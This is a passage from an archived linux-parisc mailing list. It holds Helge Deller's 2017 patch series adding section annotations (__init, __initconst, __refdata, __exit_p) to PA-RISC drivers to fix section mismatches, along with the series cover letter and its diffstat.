X-Provags-ID: V03:K0:8D2DtPJcpVQso+S0agHMMJee9JJVs+cjLIoubjiY1mGfL2RJNB2
 m08yVrj7Ke3NnrPW7Guj9qf7wan6bbvlgNLNlHhIprZL1ii6NJAD3URfqVQIysJahLEGrS6
 zYGyOTZ6cpqPFiaI84u32vUhS8F6gNDZBKHWLV+G3kyf6Q6slUDtjeG0V+OyjGYq1CJhXpw
 HAmxEguKg7hA5SpKSSlqA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:jC8Xac8e5W0=:Vc0d3wIHXV6IWRTw5wFdyA
 rI/ZieFmxopRllb+bK2Pq8JAAQm04G3TqY7+PbEG2XA77XVHjgXxjhWfqDq9NmwyzxnCCtABN
 YaguS5W1Zwsf+nQMYgVww39a4hI0AS2atRr3nMkyPvyX819Rm5UbVemdvPvQElTqqXgE/cet2
 kpQc3BaTKSXdlAg2HtSXnJ0xkJrMMX3t4Ne6hUBvttxxWsZbLreB+7tH0hFajJZMBTK42kjR6
 6SWyDEWIzkZoWNWHTZl0sqVuncHQqGW9QF9K2k7o89VQiBpOx+1OZMQmq4CL0wzlq4+OJxyat
 nh6dVedyfw2yGz33BQxZ4kjlImVAP57FlP9wVRS/FAWwyFTEx057OkaW+HkZy2JX/LSYGp0fX
 6+uj/vBPHlbyCai9fQjV8NfsH0JYi7MbKkDyB3LD7lQVJAQ5qW7BbwaCyFMPFO6jRyMMDdERZ
 d4yx+2y2VSWBdCuSalq/mZ0hG81LjEv/e4X8p5U/hbUOOGrA+/ELpJe30203EKf5WlvwfCkv6
 F7Sn41Jq1oAjTlgEww2YBpqL7/CEd24PCcGF+4y/CUQnvVUQHfeShXBEhmxgD9yluMjisDnFX
 5rEsnqxspayt1g3cSfwzyALz2XE78IP5/6mYm6VlZiT963j2dUjNyXUcmrCiLmtkNkwZVKSPi
 1MWIuz08OoDXkQrDf0K9J0Baemx5Vz+p2q3L1eSmo916ZI3YofpA7Qyqrm+Ga4gTRutcY3prZ
 7iXH/IMyjsMue0c4G1AuS7ENxDNde21XtQh40A++n2tw6vNmv4SHj9XsSfCPti9Ek+YgBUcC 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27734
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27734>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 drivers/scsi/lasi700.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/drivers/scsi/lasi700.c b/drivers/scsi/lasi700.c
index 5c4ded9..576aae4 100644
--- a/drivers/scsi/lasi700.c
+++ b/drivers/scsi/lasi700.c
@@ -81,7 +81,7 @@ MODULE_LICENSE("GPL");
 #define LASI710_CLOCK	40
 #define LASI_SCSI_CORE_OFFSET 0x100
 
-static struct parisc_device_id lasi700_ids[] = {
+static struct parisc_device_id lasi700_ids[] __initconst = {
 	LASI700_ID_TABLE,
 	LASI710_ID_TABLE,
 	{ 0 }
@@ -164,11 +164,11 @@ lasi700_driver_remove(struct parisc_device *dev)
 	return 0;
 }
 
-static struct parisc_driver lasi700_driver = {
+static struct parisc_driver lasi700_driver __refdata = {
 	.name =		"lasi_scsi",
 	.id_table =	lasi700_ids,
 	.probe =	lasi700_probe,
-	.remove =	lasi700_driver_remove,
+	.remove =	__exit_p(lasi700_driver_remove),
 };
 
 static int __init
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 00/14] parisc: Fix section mismatches
Date: Mon, 21 Aug 2017 22:22:47 +0200
Lines: 77
Approved: news@gmane.org
Message-ID: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347022 14336 195.159.176.226 (21 Aug 2017 20:23:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:42 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:38 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEM-0000lq-Lw
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754328AbdHUUXd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:33 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:51051 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754334AbdHUUXb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:31 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LjvV7-1d8MYB3KQ5-00btXS; Mon, 21
 Aug 2017 22:23:02 +0200
X-Mailer: git-send-email 2.1.0
X-Provags-ID: V03:K0:Dw6ALtq/nnmK9CJf0ofeNgZRNgWpmpqivG9ld5Blny0TbHDeT64
 Q4lnO2Enq2Cf/uAdBRXBumi3tP+fTTFnH3BQhue2IeZcFSiIQ69ivR1P3G4kEGxCFd6OOzF
 Fc2PnqB7U1kNrlkCvO/NMXgERs1vCT044JNSJ/hRaQcpDuuWWKf4sHJB5GTKxjo77tiAxyA
 CiFWTeX6k8TO/FPRKNI5Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:NHegvmGTrGw=:XKVlXpg3HLp8OAq0Nb/KF+
 igSVbGKVBftNWO+5yv6yBD/UrXBhZ9FKJwEHyAl+jWeOBAd2qat2Sv/7tElqP6RR8cQfJ/At6
 PWoIPKzlbcLdLpqyr1956aaQvL8z1fB02Y2HnWDPQcr4WThj5v+KRBs3juHdJYRRuMFsyEnHW
 gFMDFuT4SN3ypZsNOrMf8J7GRUjxALZ0yGj9n+WzrAGU7+l7DQMeGs+kLGfVUiK3wydb1/MjE
 28jCHg/CLoiNR4rx+ttfX038uwCKtAXsaQ74tkqvNIH4UaS5b2ZwMMBxh6abZyKaHlvoDy4iw
 56x510fMzdRLG1ZJIQy4i3wXs7Em+x++sE35e+ngfV0Cc+BV8pxGoG5p4IA4MdvLNh2/zmndK
 pgFGU3yHMzyh/e+Do77gSd3Z/7nMHcHeaAtCZJgB4HfvSBONmoVpaOsqu4C3LjUO3ijIJkSYu
 xWYT/9BXYO8N1THp7gvz3Bxvtmcvl/Mpd5O80DQa+B1PdJmGWjKkIY8Uzfvy2BDkCahWF31vt
 qRwtZLMEAeu7UiMJXNhqk7Vj0HDIyu+R+Qpi1S96Sr2DpNkuVKuZfWiIQMa2/AaC7QdoEbSLD
 I/Qz7EIf/t7N/TVS/6IzqiPAjmkYrN8n0/9ayG7nGHqefeedHHhbuAR5PB3UpC9VMayXC/Wtj
 cH4opZQR0b4v5GinvP4y6ePyEpWaYBegfh9KcqBOK2d2jouucSQjPbum2sqVw5t8tMGVUJ456
 /Q+UV7MugpDyX7m2fm6ymZUIHhuAU8V2ic/Hm4sNrh7GxDeo23CWMxLhnK2SCT7urWdR2cTy 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27735
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27735>

Clean up section mismatches.
Helge

Helge Deller (14):
  parisc: Add support for self-extracting kernel
  parisc/harmony: Fix section mismatches
  parisc/sticore: Fix section mismatches
  parisc/mux: Fix section mismatches
  parisc/8250_gsc: Fix section mismatches
  parisc/scsi/zalon: Fix section mismatches
  parisc/scsi/lasi700: Fix section mismatches
  parisc/parport_gsc: Fix section mismatches
  parisc: Fix section mismatches in parisc core drivers
  parisc/serio: Fix section mismatches in gscps2 and hp_sdc drivers
  parisc/net/lasi_82596: Fix section mismatches
  parisc/input/hilkbd: Fix section mismatches
  parisc/ipmi_si_intf: Fix section mismatches on parisc platform
  parisc/core: Fix section mismatches

 arch/parisc/Kconfig                       |   6 +
 arch/parisc/Makefile                      |  16 +-
 arch/parisc/boot/.gitignore               |   2 +
 arch/parisc/boot/Makefile                 |  26 +++
 arch/parisc/boot/compressed/.gitignore    |   3 +
 arch/parisc/boot/compressed/Makefile      |  86 +++++++++
 arch/parisc/boot/compressed/head.S        |  85 +++++++++
 arch/parisc/boot/compressed/misc.c        | 301 ++++++++++++++++++++++++++++++
 arch/parisc/boot/compressed/vmlinux.lds.S | 101 ++++++++++
 arch/parisc/boot/compressed/vmlinux.scr   |  10 +
 arch/parisc/boot/install.sh               |  65 +++++++
 arch/parisc/include/asm/page.h            |   4 +
 arch/parisc/include/asm/pdc.h             |   2 +
 arch/parisc/kernel/firmware.c             |  15 +-
 arch/parisc/kernel/processor.c            |   6 +-
 arch/parisc/kernel/real2.S                |   4 +
 drivers/char/ipmi/ipmi_si_intf.c          |  12 +-
 drivers/input/keyboard/hilkbd.c           |  10 +-
 drivers/input/serio/gscps2.c              |  10 +-
 drivers/input/serio/hp_sdc.c              |   4 +-
 drivers/net/ethernet/i825xx/lasi_82596.c  |  10 +-
 drivers/parisc/asp.c                      |   4 +-
 drivers/parisc/ccio-dma.c                 |   4 +-
 drivers/parisc/ccio-rm-dma.c              |   6 +-
 drivers/parisc/dino.c                     |   4 +-
 drivers/parisc/eisa.c                     |   4 +-
 drivers/parisc/hppb.c                     |   6 +-
 drivers/parisc/lasi.c                     |   4 +-
 drivers/parisc/lba_pci.c                  |   4 +-
 drivers/parisc/sba_iommu.c                |   6 +-
 drivers/parisc/superio.c                  |   4 +-
 drivers/parisc/wax.c                      |   4 +-
 drivers/parport/parport_gsc.c             |  10 +-
 drivers/scsi/lasi700.c                    |   6 +-
 drivers/scsi/zalon.c                      |   8 +-
 drivers/tty/serial/8250/8250_gsc.c        |   8 +-
 drivers/tty/serial/mux.c                  |  14 +-
 drivers/video/console/sticore.c           |  11 +-
 sound/parisc/harmony.c                    |  10 +-
 39 files changed, 808 insertions(+), 87 deletions(-)
 create mode 100644 arch/parisc/boot/.gitignore
 create mode 100644 arch/parisc/boot/Makefile
 create mode 100644 arch/parisc/boot/compressed/.gitignore
 create mode 100644 arch/parisc/boot/compressed/Makefile
 create mode 100644 arch/parisc/boot/compressed/head.S
 create mode 100644 arch/parisc/boot/compressed/misc.c
 create mode 100644 arch/parisc/boot/compressed/vmlinux.lds.S
 create mode 100644 arch/parisc/boot/compressed/vmlinux.scr
 create mode 100644 arch/parisc/boot/install.sh

-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 10/14] parisc/serio: Fix section mismatches in gscps2 and hp_sdc drivers
Date: Mon, 21 Aug 2017 22:22:57 +0200
Lines: 81
Approved: news@gmane.org
Message-ID: <1503346981-28024-11-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347025 14975 195.159.176.226 (21 Aug 2017 20:23:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:45 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:41 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEK-0000lq-2r
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754340AbdHUUXb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:31 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:49465 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754058AbdHUUXa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:30 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MNMyz-1dd2XJ1xc1-006yZa; Mon, 21
 Aug 2017 22:23:04 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:wud/JfWvwX0GsQlcSXD47KWZk02B7yzmDLtflhVyjjzL/rddgZn
 xe6nLEJSNVfgOhbj1racDMmL8dUJYhRaD/Kvv414vWJrthjd3zISwa+SZFDOjQ8b1YOcDN9
 nJXwzRQe9KD5PCRzaMATbVzzZrRcvvR1wOWpYttyMm7we4kb1CTIhhdVUR0NTT5cT56jOJg
 Mwljmq5zo9vXGesjp5ZFg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:g8Sv+W2JO/I=:rb78KF3xs7JNij29M/Tmf0
 RB04A3hLw8xYiRBMrRb2jXRcnfCvyaWaTSr1PBpD+Wjq7XfKiN8Nv9CPP+8RsleTTJKhqNjS8
 Ow+MCxpcaEzc3aAEhc9mV+ETtvP1M/WLscjDP4/Lm8+LzoSVyQeuvWqgjAK1Mnypx0eIcQdBw
 OqI5xtRzRZe7MocsXDES+JSIrd/aJOG0QwVQtEMqok4HQlma7IRgnHS91R0qvZJ74GYumiSaS
 UCR149uzLb0t/4NuCET4SgFGGXeRPlexqM8JCPNRdSjiiUSQoXmSjqvTEc/elAi3pg3Yi8QgO
 Eb8wE5Qjm2wFP7lUABu7knppfnWq2aCw3xSI6fSWN5/9OFJZQzWiOl/0mx2dTAhzjov79tjvv
 YJ3NNG03xEb+Ix93cGAaD4I+r5un8iEyLZDx1n8t6fMRExNlxjl8BQmln00B0asYFK0cnXnYt
 +iqdNLuPTcen3W5JvNAli4HYnaVxR1d3FJkvzT5Ixqvn4ac9CFFRya9Yg91+bdIqkV70QN4sv
 zxI5aIbtUasOs9thn2UoFJ6M2174A52RoKeWCAx3SES92ordIQ/3IIZ8uczIdIofesTZCbCB7
 4KScbua20i4cgtsWnUDg6v5AKZ1/Prtta2ZSaOpm/k8glHmL3rejdITpJtzEcmBndz0mXlVCJ
 VVZGK0jfn6LlSE6BtQtSkqjkViCwg+4SUo3sJ5MPgWvFODgFPQYtXtOiU6aIZSc7J54Bn5Nfl
 U1tZ+2pMVnU2VIl8dFXIOIPVX0iVSBiMh4fGwWArAXYQT9qFLxnEZ9umJm9qvHWmVD9QCIZo 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27736
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27736>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 drivers/input/serio/gscps2.c | 10 +++++-----
 drivers/input/serio/hp_sdc.c |  4 ++--
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/drivers/input/serio/gscps2.c b/drivers/input/serio/gscps2.c
index ecba666..0fa592c 100644
--- a/drivers/input/serio/gscps2.c
+++ b/drivers/input/serio/gscps2.c
@@ -325,7 +325,7 @@ static void gscps2_close(struct serio *port)
  * @return: success/error report
  */
 
-static int gscps2_probe(struct parisc_device *dev)
+static int __init gscps2_probe(struct parisc_device *dev)
 {
 	struct gscps2port *ps2port;
 	struct serio *serio;
@@ -412,7 +412,7 @@ static int gscps2_probe(struct parisc_device *dev)
  * @return: success/error report
  */
 
-static int gscps2_remove(struct parisc_device *dev)
+static int __exit gscps2_remove(struct parisc_device *dev)
 {
 	struct gscps2port *ps2port = dev_get_drvdata(&dev->dev);
 
@@ -430,7 +430,7 @@ static int gscps2_remove(struct parisc_device *dev)
 }
 
 
-static struct parisc_device_id gscps2_device_tbl[] = {
+static struct parisc_device_id gscps2_device_tbl[] __initconst = {
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00084 }, /* LASI PS/2 */
 #ifdef DINO_TESTED
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00096 }, /* DINO PS/2 */
@@ -439,11 +439,11 @@ static struct parisc_device_id gscps2_device_tbl[] = {
 };
 MODULE_DEVICE_TABLE(parisc, gscps2_device_tbl);
 
-static struct parisc_driver parisc_ps2_driver = {
+static struct parisc_driver parisc_ps2_driver __refdata = {
 	.name		= "gsc_ps2",
 	.id_table	= gscps2_device_tbl,
 	.probe		= gscps2_probe,
-	.remove		= gscps2_remove,
+	.remove		= __exit_p(gscps2_remove),
 };
 
 static int __init gscps2_init(void)
diff --git a/drivers/input/serio/hp_sdc.c b/drivers/input/serio/hp_sdc.c
index 1bfdae4..cb9ae5b 100644
--- a/drivers/input/serio/hp_sdc.c
+++ b/drivers/input/serio/hp_sdc.c
@@ -805,7 +805,7 @@ static void hp_sdc_kicker(unsigned long data)
 
 #if defined(__hppa__)
 
-static const struct parisc_device_id hp_sdc_tbl[] = {
+static struct parisc_device_id hp_sdc_tbl[] __initconst = {
 	{
 		.hw_type =	HPHW_FIO,
 		.hversion_rev =	HVERSION_REV_ANY_ID,
@@ -820,7 +820,7 @@ MODULE_DEVICE_TABLE(parisc, hp_sdc_tbl);
 static int __init hp_sdc_init_hppa(struct parisc_device *d);
 static struct delayed_work moduleloader_work;
 
-static struct parisc_driver hp_sdc_driver = {
+static struct parisc_driver hp_sdc_driver __refdata = {
 	.name =		"hp_sdc",
 	.id_table =	hp_sdc_tbl,
 	.probe =	hp_sdc_init_hppa,
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 14/14] parisc/core: Fix section mismatches
Date: Mon, 21 Aug 2017 22:23:01 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <1503346981-28024-15-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347027 15366 195.159.176.226 (21 Aug 2017 20:23:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:47 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:42 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEK-0000lq-JQ
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754341AbdHUUXb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:31 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:55770 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754318AbdHUUXa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:30 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MgGDK-1dxata46UQ-00NfH7; Mon, 21
 Aug 2017 22:23:05 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:BpdDnPppq9JoCOb9fMmeNpPYatyccgceizGlTvbUK5epFxhOmgn
 8VYkbza8lJE/uxq67iDNPoli6TWCRBEA/RZMWRsmaTUFJitZKLXyibNRtcmAHvRsf1kBa3k
 2a4jFcIpq9IzqwFA52bk1crR7r8FcJXl7zlG9jI/JNUTSV56xAqQJ7Ry5dheuVdPslqkR7E
 BgY/FqJXW+c7juderlH0A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ed0OrkhsZ1o=:6IhVa2Ztpb0xJTrtbtP5nT
 kGiAJpg1DgzOwWIAw+/G2856vGUdVTXiNI5X9d8f6KcHPNljkRscWyxZ0mo6GGtGgvnslm5ga
 md0xVBHNO1N1HbDUS4PUnrKqVlMV8e4DjsZHLEI35l/K1D5Uh98xLIDDM/mcFAc3c39BZ5wny
 Ku6B8sI9AniZl5gkyQSODoauj0DiIDzlGdh5YaJrTXhqsEzKHYyUyTApryBsB9aJHj6fxPmYV
 3Q+LcnGkrPFB2lBt+xAkfirBJAAj2AwAah64FlRpBinF6N7tmACqekAccJkJBNos7Wp4LNJ02
 kb3oPjUHFIEmLTqfEs47CVS2eCBzbaiZJApAxh19n1kHku1vmoWNNJkdPjSra+/trFdtwlQ4g
 Kc5GPdUXn9bptWWOIinDWEuM85qULZZer/RzzgDU9R0ePxCCqO+4h1vFnKlebDeCkwU76kkVG
 CXwlxxhbhVSMJZ7mP6gOaSszvwWbfMNYxpNS6dmKa0Fzxik5veWX+Z9EOJB27oZi8N+TL3rxO
 4RF2w5De0Qeqq8yzsAY3riBWaibkgAzL4uKn0C6exHZmwNMtG0kMXhafJvrpVhi0K7+SiX/aa
 OTXg1GThZ9fFfBQMDYc9JYhV0ZO7PiKn2SNNAlgH+CrtWlfvh9EUv/JmtcPn+M1d4Mt2DwfZp
 o1s9wax2m1PP1LhA04hLzxmOyUopEIEPVJmnEANOrTQfP9B/eSHi/9L50XEFqFMCAJITcu30E
 DbgNkpRRFtjgbPIS8jqKgtfhL/JzWHkHn3PxWfP8NsUL/9mBnpt1zg7YbujL0zOj0XkCxdhA 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27737
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27737>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/kernel/processor.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index 0ab3277..1dc7f79 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -89,7 +89,7 @@ init_percpu_prof(unsigned long cpunum)
  * (return 1).  If so, initialize the chip and tell other partners in crime 
  * they have work to do.
  */
-static int processor_probe(struct parisc_device *dev)
+static int __init processor_probe(struct parisc_device *dev)
 {
 	unsigned long txn_addr;
 	unsigned long cpuid;
@@ -414,12 +414,12 @@ show_cpuinfo (struct seq_file *m, void *v)
 	return 0;
 }
 
-static const struct parisc_device_id processor_tbl[] = {
+static const struct parisc_device_id processor_tbl[] __initconst = {
 	{ HPHW_NPROC, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, SVERSION_ANY_ID },
 	{ 0, }
 };
 
-static struct parisc_driver cpu_driver = {
+static struct parisc_driver cpu_driver __refdata = {
 	.name		= "CPU",
 	.id_table	= processor_tbl,
 	.probe		= processor_probe
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 02/14] parisc/harmony: Fix section mismatches
Date: Mon, 21 Aug 2017 22:22:49 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <1503346981-28024-3-git-send-email-deller@gmx.de>
References: <1503346981-28024-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503347029 15933 195.159.176.226 (21 Aug 2017 20:23:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Aug 2017 20:23:49 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 21 22:23:45 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djtEN-0000lq-5V
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Aug 2017 22:23:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754357AbdHUUXd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 21 Aug 2017 16:23:33 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:58276 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754338AbdHUUXb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 21 Aug 2017 16:23:31 -0400
Original-Received: from p100.fritz.box ([193.159.21.213]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M6eTo-1dP59f0aoe-00wS83; Mon, 21
 Aug 2017 22:23:03 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1503346981-28024-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:KAYzhblaRKa/nts+UI8ojX7AuTFmz5JQnAQMAOrZqorvj8Svqsk
 4gBQs9ibc7Dsp8fHuwiJBqXTHo/Xb/9a7CQe5NJQLVcmle3+vv9kWf/DO7qiTzXWrol903Y
 Ut0slMz0QKZ0CgJra/Tn+fYnCNdgawRwpAT96x0K7V8Q+Dl+R8RPZ4Xb6JfOWKEtQIv2BAK
 9SGZkUnB6uDI7XMfOd0Qg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:dn4zggj5P3c=:VlsDfr+oBtVmvy/5jFDbNf
 u5+chuYI4vFL1UM0v3PTofmNGjQhx2Euvz+U763vy+JvIUytvufJDPAVZqjhEV7i126yhgZ0B
 guCbMYqEhWySLFl5MMooNhuQPDx3Snjn3j9rCEpnys+uwFEcovZZ+pB4IVuAuTqSLYJJIUrSK
 iXjeajgLhUmCANPXbyvEIHaSBQyDhBQ+pBFheih7ZH6/ZbhlwyWABDxcKuYMTmSa7bcIpQwGq
 hd+gyssjsFkFV0EvpeSzr8mgYo9hK6VJvQFBGEN8HLyJf+PwqUbaeBWVIB6mWtoKOt5pTL21+
 cNKbndqDGc+wgnEiK0CIBw8P/MxzxuseofuTUTpaSGgIg6vkECL/EjXSL4Bru5e5m/hKBzSYP
 1t04wJ3/eCAJr0KSGberfhMX1nVO7Qmk7wBgHw86UoI8Y/WMY2rCqxKH078ALo+b2nP1MPdCK
 EhdAGGG4ndwDmaAk0g7iE4waAv26vS0IAcizTfNcn7krRyIkpzYrwu4OsJvmMWY4hfFJS+J12
 1QDauih2uT0j+9I1L7PmCVv65Ig90pS7i1OeSFDoupRvMc5ymCvQp/9pODfynDEgQT/2slFOl
 CYTfInsy1g6+BEc9mwX2Y8vOLcu1f1rFm+lHoK+x+D5IT05JnW8pSu1bAfVV0sH7Pu2YGjXhE
 VaAI2ywe+/HQwMMMlYxaFwj/GaBxlvcWT+Ik4LYwZVao+XT1g7iYYoK1k+kySmEKtRwM+YYxC
